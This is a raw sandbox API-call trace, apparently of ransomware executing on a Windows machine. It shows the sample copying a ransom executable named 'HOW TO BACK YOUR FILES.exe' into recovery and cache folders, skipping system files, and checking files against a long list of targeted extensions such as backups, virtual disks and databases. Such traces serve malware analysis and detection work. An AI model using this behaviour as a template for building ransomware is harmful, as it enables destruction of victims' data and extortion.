	[0050.422] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8f30 | out: hHeap=0x580000) returned 1
	[0050.422] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7988 | out: hHeap=0x580000) returned 1
	[0050.422] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache") returned 68
	[0050.422] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache"
	[0050.422] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.422] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\cache\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.431] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.431] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x36214ff0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x36214ff0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.432] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.432] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.432] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0050.432] FindNextFileW (in: hFindFile=0x5ca410, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x36214ff0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x36214ff0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.432] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.432] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0050.432] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0050.432] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0050.432] FindNextFileW (in: hFindFile=0x5ca410, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe952fcd0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0xcfc4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AcroFnt10.lst", cAlternateFileName="ACROFN~1.LST")) returned 1
	[0050.432] lstrcmpiW (lpString1="AcroFnt10.lst", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.432] lstrcmpiW (lpString1="AcroFnt10.lst", lpString2="Apollon865.txt.exe") returned -1
	[0050.432] lstrcmpiW (lpString1="AcroFnt10.lst", lpString2=".") returned 1
	[0050.432] lstrcmpiW (lpString1="AcroFnt10.lst", lpString2="..") returned 1
	[0050.432] lstrcmpiW (lpString1="AcroFnt10.lst", lpString2="windows") returned -1
	[0050.432] lstrcmpiW (lpString1="AcroFnt10.lst", lpString2="bootmgr") returned -1
	[0050.432] lstrcmpiW (lpString1="AcroFnt10.lst", lpString2="temp") returned -1
	[0050.432] lstrcmpiW (lpString1="AcroFnt10.lst", lpString2="pagefile.sys") returned -1
	[0050.432] lstrcmpiW (lpString1="AcroFnt10.lst", lpString2="boot") returned -1
	[0050.432] lstrcmpiW (lpString1="AcroFnt10.lst", lpString2="ids.txt") returned -1
	[0050.432] lstrcmpiW (lpString1="AcroFnt10.lst", lpString2="ntuser.dat") returned -1
	[0050.432] lstrcmpiW (lpString1="AcroFnt10.lst", lpString2="perflogs") returned -1
	[0050.432] lstrcmpiW (lpString1="AcroFnt10.lst", lpString2="MSBuild") returned -1
	[0050.432] lstrlenW (lpString="AcroFnt10.lst") returned 13
	[0050.432] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\*") returned 70
	[0050.432] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="AcroFnt10.lst" | out: lpString1="AcroFnt10.lst") returned="AcroFnt10.lst"
	[0050.432] lstrlenW (lpString="AcroFnt10.lst") returned 13
	[0050.432] lstrlenW (lpString="Apollon865") returned 10
	[0050.432] lstrcmpiW (lpString1="oFnt10.lst", lpString2="Apollon865") returned 1
	[0050.432] lstrlenW (lpString=".dll") returned 4
	[0050.433] lstrcmpiW (lpString1="AcroFnt10.lst", lpString2=".dll") returned 1
	[0050.433] lstrlenW (lpString=".lnk") returned 4
	[0050.433] lstrcmpiW (lpString1="AcroFnt10.lst", lpString2=".lnk") returned 1
	[0050.433] lstrlenW (lpString=".ini") returned 4
	[0050.433] lstrcmpiW (lpString1="AcroFnt10.lst", lpString2=".ini") returned 1
	[0050.433] lstrlenW (lpString=".sys") returned 4
	[0050.433] lstrcmpiW (lpString1="AcroFnt10.lst", lpString2=".sys") returned 1
	[0050.433] lstrlenW (lpString="AcroFnt10.lst") returned 13
	[0050.433] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\System Volume Information", iMaxLength=260 | out: lpString1="C:\\System Volume Information") returned="C:\\System Volume Information"
	[0050.433] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b5ed8 | out: hHeap=0x580000) returned 1
	[0050.433] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7968 | out: hHeap=0x580000) returned 1
	[0050.433] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0050.433] lstrcatW (in: lpString1="", lpString2="C:\\System Volume Information" | out: lpString1="C:\\System Volume Information") returned="C:\\System Volume Information"
	[0050.433] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.433] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\System Volume Information\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\system volume information\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.434] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.434] GetLastError () returned 0x0
	[0050.434] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.434] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.434] CloseHandle (hObject=0x15c) returned 1
	[0050.434] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.434] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.434] FindFirstFileW (in: lpFileName="C:\\System Volume Information\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36214ff0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x36214ff0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0xffffffff
	[0050.434] GetLastError () returned 0x5
	[0050.434] wsprintfA (in: param_1=0x2d3f538, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\System Volume Information\\* FindFirstFile error 5\r\n") returned 62
	[0050.434] lstrlenA (lpString="[ERROR] C:\\System Volume Information\\* FindFirstFile error 5\r\n") returned 62
	[0050.434] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.435] SetFilePointer (in: hFile=0x15c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x15d2
	[0050.435] WriteFile (in: hFile=0x15c, lpBuffer=0x2d3f538*, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0x2d3e204, lpOverlapped=0x0 | out: lpBuffer=0x2d3f538*, lpNumberOfBytesWritten=0x2d3e204*=0x3e, lpOverlapped=0x0) returned 1
	[0050.435] CloseHandle (hObject=0x15c) returned 1
	[0050.435] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7930
	[0050.435] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Recovery", iMaxLength=260 | out: lpString1="C:\\Recovery") returned="C:\\Recovery"
	[0050.435] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7948 | out: hHeap=0x580000) returned 1
	[0050.435] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7928 | out: hHeap=0x580000) returned 1
	[0050.435] lstrlenW (lpString="C:\\Recovery") returned 11
	[0050.435] lstrcatW (in: lpString1="", lpString2="C:\\Recovery" | out: lpString1="C:\\Recovery") returned="C:\\Recovery"
	[0050.435] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.435] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Recovery\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\recovery\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.440] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.440] FindFirstFileW (in: lpFileName="C:\\Recovery\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x3623b150, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3623b150, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.440] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.440] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.440] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0050.440] FindNextFileW (in: hFindFile=0x5ca410, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x3623b150, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3623b150, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.440] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.440] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0050.440] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0050.440] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0050.440] FindNextFileW (in: hFindFile=0x5ca410, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27c2fae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27c2fae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", cAlternateFileName="E9E239~1")) returned 1
	[0050.440] lstrcmpiW (lpString1="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.440] lstrcmpiW (lpString1="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpString2="Apollon865.txt.exe") returned 1
	[0050.440] lstrcmpiW (lpString1="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpString2=".") returned 1
	[0050.440] lstrcmpiW (lpString1="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpString2="..") returned 1
	[0050.440] lstrcmpiW (lpString1="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpString2="windows") returned -1
	[0050.440] lstrcmpiW (lpString1="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpString2="bootmgr") returned 1
	[0050.440] lstrcmpiW (lpString1="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpString2="temp") returned -1
	[0050.440] lstrcmpiW (lpString1="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpString2="pagefile.sys") returned -1
	[0050.440] lstrcmpiW (lpString1="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpString2="boot") returned 1
	[0050.440] lstrcmpiW (lpString1="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpString2="ids.txt") returned -1
	[0050.441] lstrcmpiW (lpString1="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpString2="ntuser.dat") returned -1
	[0050.441] lstrcmpiW (lpString1="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpString2="perflogs") returned -1
	[0050.441] lstrcmpiW (lpString1="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpString2="MSBuild") returned -1
	[0050.441] lstrlenW (lpString="e9e23962-4a25-11e7-88e8-91fb2ec43f0b") returned 36
	[0050.441] lstrlenW (lpString="C:\\Recovery\\*") returned 13
	[0050.441] lstrcpyW (in: lpString1=0x2d3e568, lpString2="e9e23962-4a25-11e7-88e8-91fb2ec43f0b" | out: lpString1="e9e23962-4a25-11e7-88e8-91fb2ec43f0b") returned="e9e23962-4a25-11e7-88e8-91fb2ec43f0b"
	[0050.441] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7928
	[0050.441] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x62) returned 0x5c8f30
	[0050.441] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7930 | out: ListHead=0x5b76b0, ListEntry=0x5b7930) returned 0x5b7910
	[0050.441] FindNextFileW (in: hFindFile=0x5ca410, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3623b150, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3623b150, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0050.441] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0050.441] FindNextFileW (in: hFindFile=0x5ca410, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3623b150, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3623b150, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0050.441] FindClose (in: hFindFile=0x5ca410 | out: hFindFile=0x5ca410) returned 1
	[0050.441] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7930
	[0050.441] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b", iMaxLength=260 | out: lpString1="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b") returned="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b"
	[0050.441] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8f30 | out: hHeap=0x580000) returned 1
	[0050.441] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7928 | out: hHeap=0x580000) returned 1
	[0050.441] lstrlenW (lpString="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b") returned 48
	[0050.441] lstrcatW (in: lpString1="", lpString2="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b" | out: lpString1="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b") returned="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b"
	[0050.441] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.441] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.445] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.445] FindFirstFileW (in: lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x3623b150, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3623b150, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.445] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.445] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.445] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0050.445] FindNextFileW (in: hFindFile=0x5ca410, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x3623b150, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3623b150, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.445] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.445] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0050.445] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0050.445] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0050.445] FindNextFileW (in: hFindFile=0x5ca410, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x27c2fae0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27c2fae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4185decd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x306000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="boot.sdi", cAlternateFileName="")) returned 1
	[0050.445] lstrcmpiW (lpString1="boot.sdi", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.445] lstrcmpiW (lpString1="boot.sdi", lpString2="Apollon865.txt.exe") returned 1
	[0050.445] lstrcmpiW (lpString1="boot.sdi", lpString2=".") returned 1
	[0050.445] lstrcmpiW (lpString1="boot.sdi", lpString2="..") returned 1
	[0050.445] lstrcmpiW (lpString1="boot.sdi", lpString2="windows") returned -1
	[0050.445] lstrcmpiW (lpString1="boot.sdi", lpString2="bootmgr") returned -1
	[0050.445] lstrcmpiW (lpString1="boot.sdi", lpString2="temp") returned -1
	[0050.446] lstrcmpiW (lpString1="boot.sdi", lpString2="pagefile.sys") returned -1
	[0050.446] lstrcmpiW (lpString1="boot.sdi", lpString2="boot") returned 1
	[0050.446] lstrcmpiW (lpString1="boot.sdi", lpString2="ids.txt") returned -1
	[0050.446] lstrcmpiW (lpString1="boot.sdi", lpString2="ntuser.dat") returned -1
	[0050.446] lstrcmpiW (lpString1="boot.sdi", lpString2="perflogs") returned -1
	[0050.446] lstrcmpiW (lpString1="boot.sdi", lpString2="MSBuild") returned -1
	[0050.446] lstrlenW (lpString="boot.sdi") returned 8
	[0050.446] lstrlenW (lpString="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\*") returned 50
	[0050.446] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="boot.sdi" | out: lpString1="boot.sdi") returned="boot.sdi"
	[0050.446] lstrlenW (lpString="boot.sdi") returned 8
	[0050.446] lstrlenW (lpString="Apollon865") returned 10
	[0050.446] lstrlenW (lpString=".dll") returned 4
	[0050.446] lstrcmpiW (lpString1="boot.sdi", lpString2=".dll") returned 1
	[0050.446] lstrlenW (lpString=".lnk") returned 4
	[0050.446] lstrcmpiW (lpString1="boot.sdi", lpString2=".lnk") returned 1
	[0050.446] lstrlenW (lpString=".ini") returned 4
	[0050.446] lstrcmpiW (lpString1="boot.sdi", lpString2=".ini") returned 1
	[0050.446] lstrlenW (lpString=".sys") returned 4
	[0050.446] lstrcmpiW (lpString1="boot.sdi", lpString2=".sys") returned 1
	[0050.446] lstrlenW (lpString="boot.sdi") returned 8
	[0050.446] lstrlenW (lpString="bak") returned 3
	[0050.446] lstrcmpiW (lpString1="sdi", lpString2="bak") returned 1
	[0050.446] lstrlenW (lpString="ba_") returned 3
	[0050.446] lstrcmpiW (lpString1="sdi", lpString2="ba_") returned 1
	[0050.446] lstrlenW (lpString="dbb") returned 3
	[0050.446] lstrcmpiW (lpString1="sdi", lpString2="dbb") returned 1
	[0050.446] lstrlenW (lpString="vmdk") returned 4
	[0050.446] lstrcmpiW (lpString1=".sdi", lpString2="vmdk") returned -1
	[0050.446] lstrlenW (lpString="rar") returned 3
	[0050.446] lstrcmpiW (lpString1="sdi", lpString2="rar") returned 1
	[0050.446] lstrlenW (lpString="zip") returned 3
	[0050.446] lstrcmpiW (lpString1="sdi", lpString2="zip") returned -1
	[0050.446] lstrlenW (lpString="tgz") returned 3
	[0050.446] lstrcmpiW (lpString1="sdi", lpString2="tgz") returned -1
	[0050.446] lstrlenW (lpString="vbox") returned 4
	[0050.447] lstrcmpiW (lpString1=".sdi", lpString2="vbox") returned -1
	[0050.447] lstrlenW (lpString="vdi") returned 3
	[0050.447] lstrcmpiW (lpString1="sdi", lpString2="vdi") returned -1
	[0050.447] lstrlenW (lpString="vhd") returned 3
	[0050.447] lstrcmpiW (lpString1="sdi", lpString2="vhd") returned -1
	[0050.447] lstrlenW (lpString="vhdx") returned 4
	[0050.447] lstrcmpiW (lpString1=".sdi", lpString2="vhdx") returned -1
	[0050.447] lstrlenW (lpString="avhd") returned 4
	[0050.447] lstrcmpiW (lpString1=".sdi", lpString2="avhd") returned -1
	[0050.447] lstrlenW (lpString="db") returned 2
	[0050.447] lstrcmpiW (lpString1="di", lpString2="db") returned 1
	[0050.447] lstrlenW (lpString="db2") returned 3
	[0050.447] lstrcmpiW (lpString1="sdi", lpString2="db2") returned 1
	[0050.447] lstrlenW (lpString="db3") returned 3
	[0050.447] lstrcmpiW (lpString1="sdi", lpString2="db3") returned 1
	[0050.447] lstrlenW (lpString="dbf") returned 3
	[0050.447] lstrcmpiW (lpString1="sdi", lpString2="dbf") returned 1
	[0050.447] lstrlenW (lpString="mdf") returned 3
	[0050.447] lstrcmpiW (lpString1="sdi", lpString2="mdf") returned 1
	[0050.447] lstrlenW (lpString="mdb") returned 3
	[0050.447] lstrcmpiW (lpString1="sdi", lpString2="mdb") returned 1
	[0050.447] lstrlenW (lpString="sql") returned 3
	[0050.447] lstrcmpiW (lpString1="sdi", lpString2="sql") returned -1
	[0050.447] lstrlenW (lpString="sqlite") returned 6
	[0050.447] lstrcmpiW (lpString1="ot.sdi", lpString2="sqlite") returned -1
	[0050.447] lstrlenW (lpString="sqlite3") returned 7
	[0050.447] lstrcmpiW (lpString1="oot.sdi", lpString2="sqlite3") returned -1
	[0050.447] lstrlenW (lpString="sqlitedb") returned 8
	[0050.447] lstrlenW (lpString="xml") returned 3
	[0050.447] lstrcmpiW (lpString1="sdi", lpString2="xml") returned -1
	[0050.447] lstrlenW (lpString="$er") returned 3
	[0050.447] lstrcmpiW (lpString1="sdi", lpString2="$er") returned 1
	[0050.447] lstrlenW (lpString="4dd") returned 3
	[0050.447] lstrcmpiW (lpString1="sdi", lpString2="4dd") returned 1
	[0050.447] lstrlenW (lpString="4dl") returned 3
	[0050.447] lstrcmpiW (lpString1="sdi", lpString2="4dl") returned 1
	[0050.448] lstrlenW (lpString="^^^") returned 3
	[0050.448] lstrcmpiW (lpString1="sdi", lpString2="^^^") returned 1
	[0050.448] lstrlenW (lpString="abs") returned 3
	[0050.448] lstrcmpiW (lpString1="sdi", lpString2="abs") returned 1
	[0050.448] lstrlenW (lpString="abx") returned 3
	[0050.448] lstrcmpiW (lpString1="sdi", lpString2="abx") returned 1
	[0050.448] lstrlenW (lpString="accdb") returned 5
	[0050.448] lstrcmpiW (lpString1="t.sdi", lpString2="accdb") returned 1
	[0050.448] lstrlenW (lpString="accdc") returned 5
	[0050.448] lstrcmpiW (lpString1="t.sdi", lpString2="accdc") returned 1
